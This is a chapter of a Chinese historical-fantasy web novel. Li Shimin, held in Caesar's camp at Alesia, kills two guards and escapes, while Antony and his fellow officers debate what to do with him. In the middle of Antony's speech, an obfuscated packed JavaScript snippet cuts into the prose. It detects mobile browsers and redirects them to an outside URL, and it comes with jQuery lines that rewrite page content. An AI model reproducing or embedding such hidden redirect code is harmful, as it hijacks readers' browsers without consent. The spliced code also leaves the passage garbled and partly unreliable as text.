第十五章、脱出樊笼
晨雾浓得化不开时,凯撒的军队已如一条铁灰色的长蛇,消失在阿莱西亚西侧的山道尽头。
军营仿佛被抽走了某种无形的压力,却又在另一种更散漫、更危险的气氛中重新凝固。
安东尼站在主帅大帐前,目送最后一面鹰旗消失在视野里,脸上没有表情,只有下颌线绷得死紧。
“你最好加强东区看守。”他对身后的德基穆斯·布鲁图斯说,“双岗。任何靠近的人,记录名字和停留时间。”
“包括屋大维少爷?”
“尤其是他。”安东尼的声音像淬了冰,“凯撒临走前说了什么,你我心里都清楚。那个祸患绝不能在他的‘教导’下,再弄出任何岔子。”
布鲁图斯点头,眼神里有一丝不易察觉的忧虑。他想起昨夜最后一次巡视特殊监狱的情景——帐篷里没有光,死寂一片,但布鲁图斯莫名觉得,那寂静之下,有什么东西正在缓慢而坚定地蓄积力量。
---
东侧监区,那顶孤零零的帐篷里,李世民正坐在床沿。
晨光透过亚麻布料的缝隙,在地面投下几道斜长的、微微颤抖的光柱。尘埃在其中浮沉,像某种无声的倒计时。
今天屋大维没有来,这有些出乎李世民的预料。
他不认为是屋大维自己不想来。是有人阻止了他?有人开始防范?是他身边的亲信劝诫了他?
无论哪种可能,都指向同一个事实:“教学”这条合法的、相对安全的接触渠道——断了。
这是双重信号:
1. 外部压力增强:罗马正在收紧对他的控制网。
2. 信息渠道关闭:他失去了通过屋大维获取外部情报(哪怕是间接的)的机会。
屋大维的缺席,不是一个孤立事件。它是多米诺骨牌倒下的第一块。
李世民闭上眼睛,脑海中,长安的太极殿、颉利的铁骑、袁天罡的紫瞳、罗马的鹰旗交替闪现,最终凝聚成一个清晰的认知:
“不能再等了。”
他原本的计划中,屋大维的教学至少还能持续两三天。这段时间,他可以:
·进一步完善拉丁语基础。
·通过屋大维无意识的言谈,收集更多军营换防、巡逻规律等信息。
·甚至,在极端情况下,屋大维本人可以成为一张“被动牌”。
但现在,这张牌被提前抽走了。
“所有预设条件中,最坏的一项提前发生了。”
他没有动,只是垂着眼,看着自己的双手。
掌心向上,指节分明,虎口和指腹的薄茧在昏暗中泛着微光。这是一双握过笔、批过奏章,也握过剑、拉过弓的手。此刻,它们安静地搁在膝头,指尖却在无人看见的角度,极其轻微地、有节奏地敲击着大腿。
他在计算。
按照军营惯例,主帅离营后的第一个天,是权力交接最微妙、也最混乱的时段。新的接替者需要时间巩固权威,各级军官需要时间揣摩新上司的脾性,而原本绷紧的神经,会在确认“最大的压力源离开”后,出现本能的第一波松懈。
这是第一个窗口期。
但还不够。
李世民抬起眼,目光落在桌角。那里,屋大维留下的那卷《奥德赛》莎草纸,正静静躺着。卷轴已经被凯撒昨夜擦拭干净,但边缘仍残留着水渍浸染的淡痕。
他抬起左手,手腕上,银链垂落,那枚雕刻着年轻雄鹿、橡叶环与八角星的徽章,正在晨光中流转着内敛而华VV暗光。这是屋大维身份的象征,是尤利乌斯-凯撒家族权力传承的图腾。
它不仅仅是一件信物。
在等级森严的罗马军营,尤其是在主帅离开、权力暂时真空的此刻,这样一件带有强烈家族标识的物品,在某些特定情境下,可以成为短暂的、极具迷惑性的“权威凭证”。
凌晨凯撒离开后,他反复推演过每个细节,最终确定:真正的逃亡窗口不在混乱的军营内部,而在那道敞开的营门之外。
但如何通过那道门?
守卫会对离开的罗马士兵进行例行检查。而他,从外貌(人种不同)到语言(语言不通)都属于见光死,绝对不能暴露一丝一毫。
他需要一个不必开口、却能让人瞬间犹豫的通行证。
再三考虑后,他决定不直接冲向营门——那太显眼,而是前往军营西北角的“信使马厩”。??
那里有预备给紧急信使的快马,通常只有两三名老兵看守。更重要的是:信使外出执行任务时,往往携带象征统帅授权的信物,对营门守卫有优先通行权。
如果守卫看到一名“信使”疾驰而来,军服上沾着“执行任务沾染的污迹”,手腕上若隐若现闪烁着雄鹿徽章的银光——他会怎么做?
他会本能地敬畏、犹豫,甚至不敢细看。
那瞬间的犹豫,就是生路。
大约日落前一个时辰,奴隶贩子的队伍开始集结准备离开的时候,李世民行动了。
---
安东尼瞥了一眼帐外开始倾斜的日影,快到第八时辰了,也是军团晚餐的时候。远处飘来大麦粥和咸鱼汤的味道,混合着柴火烟。再过不久,天就要黑了,夜哨就要上岗。
凯撒不在,他们几个心腹军官平时各忙各的,难得今天聚在一起享用晚餐。几杯烈酒下肚,话匣子打开了,话题自然转到当前军营最热门的事件上。
安东尼用匕首插起一块黑如冥界渡船木炭的羊肉,在众人面前晃了晃:“瞧见没?这才是罗马军人该吃的东西!硬!糙!能崩掉日耳曼蛮子一颗牙!”
他恶狠狠咬下一口,咀嚼声像在磨刀:
“可咱们那位在‘东方文明体验营’的朋友呢?嗯?我今早去厨房转了转——猜猜我看见什么了?蜂蜜水煮梨子!梨子!软得跟元老院那些老家伙的脸皮一样!厨子还说‘凯撒大人吩咐了,那位客人肠胃娇弱’。”
他灌下一大口未经稀释的法勒年酒,哈出的酒气能点燃油灯:
“娇弱?拉比埃努斯,你在萨比斯河边见过那个‘娇弱’的俘虏吗?他杀了咱们四个全副武装的步兵!其中一个被他用夺来的长矛捅穿了锁子甲缝!”
拉比埃努斯——那位以冷静著称的军团指挥官——慢条斯理地切着羊肉:“我看见了。像专业的角斗士,一击致命,但更……高效。”
“高效!”安东尼拍桌子,“听听!连你都开始用文邹邹的词了!这就是问题所在!凯撒把他关在那顶帐篷里,不是当俘虏关,是当稀奇玩意儿关!每天投喂精致的食物,派自己外孙去当语言家教,半夜还亲自去‘文化交流’——”
他故意拉长“文化交流”四个字,语气里的讽刺浓得能腌肉。
“你们知道凯撒最大的毛病是什么吗?”安东尼环视众人,不等回答就自己接上,“他太聪明了。聪明到觉得世界上一切东西都可以被理解、被分类、被放进他那颗装了半个已知世界的脑袋里。”
他用匕首尖在木桌上画着看不见的地图:
“高卢人?野蛮但勇猛,可以征服,可以驯化。日耳曼人?更野蛮但更直率,可以结盟也可以歼灭。埃及人?狡猾但腐朽,可以操控。这些都是可解的题。”
然后他用力一戳,匕首尖深深扎进木头:
“但突然从天掉下来这么个玩意儿——穿着丝绸写着天书,眼神像皇帝却关在囚笼里。凯撒一看,乐了!新谜题!还是限量版!于是他开始干那套他最擅长也最危险的事:解码。”
卡勒努斯——永远先算经济账的财务官——谨慎地插话:“但我们必须承认,那些丝绸和那把剑的价值……”
“价值?”安东尼打断他,瞪着眼睛,“卡勒努斯,你告诉我,如果一个蛮族酋长戴着一顶纯金王冠来投降,你会怎么做?”
“呃……称重,熔化,铸成货币或勋章。”
“对!”安东尼一拍大腿,“你会把那顶王冠拆了!因为它作为‘王冠’的意义只对蛮族有用,对我们罗马人来说,它就是金子!可凯撒在干什么?他在给那顶王冠量尺寸、画图样、研究上面的花纹象征什么狗屁祖先崇拜!他还想把它戴在自己头上试试感觉!”
帐篷里一阵低低的笑声。但笑声很快收敛,因为所有人都知道,安东尼说的不仅是笑话。
布鲁图斯——年轻气盛又刚被安东尼训过,说他对东区的看守空虚得像妓院的后门——谨慎地道:“统帅或许认为……他能提供关于东方的战略情报。”
安东尼冷笑:“战略情报?德基穆斯,我的年轻人,凯撒要是真想审问,方法多的是。冷水浸、烙铁烫、饿他三天——我保证连他祖宗的神叫什么都能问出来。可他选了最罗马精英的方式:派个家庭教师去。”
特雷波尼乌斯——那个整天和壕沟、攻城锤打交道的工兵专家——若有所思:“你们记得凯撒在亚历山大图书馆待了多久吗?整整三个月,每天和那些希腊学者混在一起,研究星象、几何、还有埃及人的巫术书。他对‘未知知识’有种……病态的饥渴。”
卡勒努斯精明地眯起眼:“而从经济角度,这位‘客人’可能是我们迄今为止最昂贵的俘虏。光是他身上那套行头,就够支付一个小型军团半年的军饷。更别提可能撬开的贸易路线。凯撒不是傻子,他在投资。”
瓦提尼乌斯不耐烦地挥挥手:“投资?我看是中邪了!我听说那天夜里营地骚乱,有人看见凯撒披着斗篷往东区去了——深更半夜!去干嘛?讨论‘月亮和太阳怎么组成光明’?”
众人又笑了,但笑声里带着不安。
特雷波尼乌斯皱起眉头:“我不明白。如果给他好待遇是为了换取情报或赎金,可这个东方人……我们连他是谁都搞不清。他的部落会为他付钱吗?他的国王会为我们打开商路吗?”
“凯撒认为他‘值’。”拉比埃努斯还是那副慢条斯理的样子,“就像你认为一段城墙‘值’得花三天加固,哪怕敌人可能根本不从那边进攻。”
“但那是军事判断!”特雷波尼乌斯反驳,“这是……什么?直觉?收藏癖?”
布鲁图斯忍不住插嘴,声音里带着委屈:“你们知道最荒唐的是什么吗?屋大维少爷昨天来找我,问我能不能给那个俘虏弄点‘更柔软的莎草纸’——说我们的纸太糙,刮伤了他写字的手!”
帐篷里顿时炸开锅。
“刮伤手?!”
“诸神在上,我在日耳曼森林里被树枝刮掉的皮,比那家伙一辈子用过的纸都厚!”
“下次是不是还要给他找鹅绒枕头?”
拉比埃努斯却放下手中的肉,若有所思:“屋大维最近状态如何?”
布鲁图斯压低声音,像在透露什么军事机密:“入迷了。我昨天看见他从那顶帐篷出来,眼睛亮得……不对劲。不像是在学语言,更像是在朝圣。”
一阵沉重的沉默。这个词的分量,在座每个人都懂。
卡勒努斯往前凑了凑:“说真的,你们觉得凯撒到底想从他身上得到什么?我清点过他的东西——那把剑的价值可能超过一个行省的年贡。但凯撒没把它熔了,反而天天放在自己桌上把玩。”
昆图斯·西塞罗——众人中受教育程度最高者——擦了擦嘴,用他那种在元老院旁听席上学来的腔调说:“也许不是‘得到’,而是‘确认’。”
“确认什么?”
“确认罗马不是世界的中心。”西塞罗的声音很轻,“我哥哥说,凯撒一直对亚历山大着迷。不是着迷于他的征服,而是着迷于他直到死前还在问‘更东边有什么’。那个东方人……可能就是‘更东边’的答案。”
西塞罗继续说,声音平稳得像在分析战局:“想想看。庞培老了,元老院那帮人只会耍嘴皮子。高卢人勇猛但混乱。日耳曼人野蛮但缺乏组织。凯撒今年四十八岁——他站在顶峰,往下看,全是需要他俯视的人。”
他顿了顿,目光扫过众人:
“然后突然,天上掉下来一个人。这个人穿着他无法理解的华服,拿着他无法复制的武器,眼睛里有一种……和凯撒自己很像的东西。不是傲慢,是理所当然。理所当然地认为自己该被所有人服从,理所当然地认为自己的文明是世界的尺度。”
“你是说……”布鲁图斯吞了口唾沫。
“我是说,凯撒可能累了。”拉比埃努斯缓缓道,“累了总是当房间里最聪明的人。所以当他发现另一个可能和他一样聪明——甚至可能来自更古老、更复杂文明的人时,他的第一反应不是‘威胁’,而是……终于。”
“终于什么?”卡勒努斯皱眉。
“终于有个谜题,”拉比埃努斯纠正,声音里带着某种悲哀的洞见,“配得上他那颗永不满足的头脑了。”?
沉默再次降临。只有火盆的噼啪声和远处军营的隐约喧哗。
瓦提尼乌斯忽然一拍桌子:“要我说,最简单的方法就是‘意外’。一场帐篷火灾,一次食物中毒,或者干脆在‘转移过程中遭遇高卢残匪袭击’。一了百了。”
卡勒努斯反对,拉比埃努斯也不赞同。布鲁图斯更是直接拒绝,看守这位特殊囚犯可是凯撒当面交给他的重要任务。
特雷波尼乌斯看向安东尼:“那么,安东尼,你的建议是?”
安东尼抓起酒壶,给自己倒了满满一杯,却没有喝。他盯着杯中晃动的暗红色液体,像在凝视血:
“我的态度很简单:那个东方人只有两种身份。要么是战利品——那我们就像对待所有战利品一样,估价、分类、处置。该卖的卖,该熔的熔。”
他抬起眼,灰蓝色的瞳孔在油灯光下冰冷如铁:
“要么是敌人——那我们就像对待所有敌人一样,拔出剑,迎上去,杀到一方再也站不起来为止。”
他顿了顿,嘴角扯出一个毫无笑意的弧度:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224100|197539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“但凯撒给他发明了第三种身份:‘文明的对话者’。而这种身份,在战场上不存在。在政治中不存在。在罗马征服世界的道路上——更不存在。”
安东尼终于举起酒杯,但没有敬任何人,而是对着虚空:
“所以我要做的,就是在他想起自己是狮子之前,把笼子焊死。在屋大维被他彻底‘启蒙’之前,把课堂封了。在凯撒的‘文明好奇心’害死我们所有人之前——”
他将酒一饮而尽,重重顿下酒杯:
“——提醒他不要忘了罗马赖以生存、战无不胜的唯一法则是什么。”
帐篷里一片沉默。军官们交换着眼神,没有人说话,但每个人脸上都写着同样的认知:安东尼说的不是酒话,而是即将到来的风暴的前兆。
而就在这时——
帐外传来慌乱的脚步声,皮靴在泥地里打滑的声音,还有年轻士兵带着哭腔的、破音的呼喊:
“大人!东区——出事了——!”
安东尼手中的酒杯,缓缓放回桌面。
他没有立刻起身,而是闭上眼睛,深深吸了一口气,仿佛早已预见了这一刻的到来。
当他再次睁眼时,那双眼睛里所有的醉意、所有的讥讽、所有的怒火都消失了。
只剩下猎人的冰冷,和一种近乎悲哀的“果然如此”。
“看,”他对帐篷里的众人说,声音平静得像在陈述一个自然规律:
“第一滴血,来了。”
---
高卢的九月深秋,太阳还没沉到西边林线,寒意已经提前漫进了军营。
午后,命令随第一阵北风抵达:所有哨位及巡逻队立即披挂羊毛斗篷。不过半个罗马时,军营里那些深棕色的身影便像秋末的蘑菇般齐刷刷冒了出来。
士兵裹着斗篷,有的竖起领子,手缩在里面,以抵御寒风。这使他们的轮廓显得更臃肿,也更统一,这非常有利于李世民的伪装——一件略微不合身的锁子甲在宽大、厚实的斗篷遮掩下,根本不会被察觉。
除了衣服上那种浓烈、陌生、带着死亡气息的混合体味,给他造成强烈的感官冲击,令他非常不适。如非必要,他不想靠近任何有味道的蛮族,他厌恶他们的气味。
他刮干净胡子,也剪掉了长发,伸到油灯的火焰上面如烟花一闪,迅速烧成灰烬。
他将皮绳绑在右手腕,徽章藏在锁子甲袖口内侧,但稍微调整角度,让雄鹿的轮廓能在动作间若隐若现。
然后他拿起守卫的短矛(标准制式武器),掀开帐帘,以罗马士兵的姿态和行进步伐走向阳光。
安东尼赶到东区时,靴底几乎要在夯土地上踏出火星。一路上那个叫卢修斯的巡逻兵语速快得像在倒豆子:
“第一圈巡视,普布利乌斯和盖约站在老位置——一个守门,一个警戒侧翼。”
“第二圈回来,只剩盖约——不,那人比盖约高半指,但当时天色暗了,我只当自己眼花,以为普布利乌斯去解手……”
“第三圈——”卢修斯的声音开始发抖,“岗上根本没人了。”
安东尼已经掀开了帐帘。
血腥味混着泥土气扑面而来。两具尸体以诡异的角度交叠——普布利乌斯仰面倒在行军床边,颈侧有个细小的孔,血已经凝成深褐色;盖约则被塞在桌下,斗篷、锁子甲和内衬被剥得精空,只剩一件染血的亚麻底衣。
帐篷里整齐得令人发毛。床铺平整,洗漱用具归位,甚至那把剃刀都洗净摆正。只有翻倒的桌子和碎陶罐宣告着这里发生过什么。
“他在打扫战场。”安东尼的声音从牙缝里挤出来,每个音节都裹着冰碴,“杀了我们的人,换了我们的皮,还有闲心把帐篷收拾干净。”
他猛地转身,皮靴狠狠踹在翻倒的木桌上。桌子应声裂开,碎木飞溅。
“四个看守,两个被杀!两个打了八年仗的老兵!”安东尼的怒吼像受伤的野兽,在狭小帐篷里炸开,“被一个赤手空拳的俘虏——一个穿裙子、写字画画的东方人——像宰鸡一样放倒了?!还他妈剥了衣服?!”
卢修斯吓得后退两步,几乎撞到帐柱。
安东尼一步跨到年轻士兵面前,铁手套捏住他的下巴,力道大得几乎要捏碎骨头:“你第二圈巡视就发现少了一个人——为什么没立刻上报?!”
“我、我以为普布利乌斯去解手了……”卢修斯的声音在发抖。
“解手?!”安东尼把他掼在地上,转身对所有人咆哮,“从现在开始,谁再敢用‘以为’两个字——我就让他去冥河边上‘以为’个够!”
他冲出帐篷,暮色正迅速吞噬军营。风卷着沙尘打在他脸上,像无数个嘲笑的耳光。
“传令——”安东尼的声音响彻东区,每个字都像战锤砸在铁砧上:
“封闭所有营门!狗洞都给我堵死!”
“骑兵队全部出动——现在!立刻!马上!搜索半径三十里!我要每片树林、每条河沟、每个高卢人的破茅屋都翻过来!”
“下午离开的所有商队、奴隶贩子、补给车队——全他妈追回来!车厢拆了查!货物倒出来查!连运粪的车都给我把粪扒开查!”
他猛地拔出短剑,剑尖直指站在一旁的布鲁图斯:
“而你——”安东尼的眼睛在渐暗的天色里烧着骇人的红光,“你亲手挑的‘可靠老兵’?你拍着胸脯保证的‘万无一失’?”
短剑的剑脊拍在布鲁图斯的胸甲上,发出刺耳的金属撞击声。布鲁图斯脸色发白,脚步不由得后退。
“现在躺在那帐篷里的,就是你的‘万无一失’!”安东尼的脸几乎贴到布鲁图斯脸上,唾沫星子混着怒火喷溅,“等凯撒回来——你知道他会看到什么?会听到什么?会怎么想?!”
他收回剑,转身对已经集结的骑兵队长暴喝:
“听着!我要那个人——活要见人,死要见尸!但如果你们谁敢因为‘想抓活的’而让他跑掉——”
安东尼顿了顿,嘴角扯出一个狰狞的弧度:
“那我就把你们钉死在阿莱西亚的城墙上,让秃鹫告诉后来人,什么叫军令如山!”
他最后看了一眼那顶染血的帐篷,声音突然降到冰点:
“至于你,布鲁图斯。在抓到人之前,你最好日夜祈祷——祈祷我们能带回来一个会喘气的。”
“否则……”他缓缓转过身,灰眼睛里翻涌着某种比杀意更可怕的东西,“你就自己去跟凯撒解释,为什么他‘特别关注’的俘虏,会变成一具需要你亲自抬到他面前的尸体。”
号角凄厉,马蹄如雷。
安东尼站在逐渐被黄昏吞没的营区中央,像一尊正在冷却的铁像。风卷着远方的喧嚣扑来,但他听见的只有自己血液冲刷耳膜的声音——和那个东方人在黑暗中,无声的嘲笑。
狩猎开始了。
而这一次,安东尼不打算留任何活路。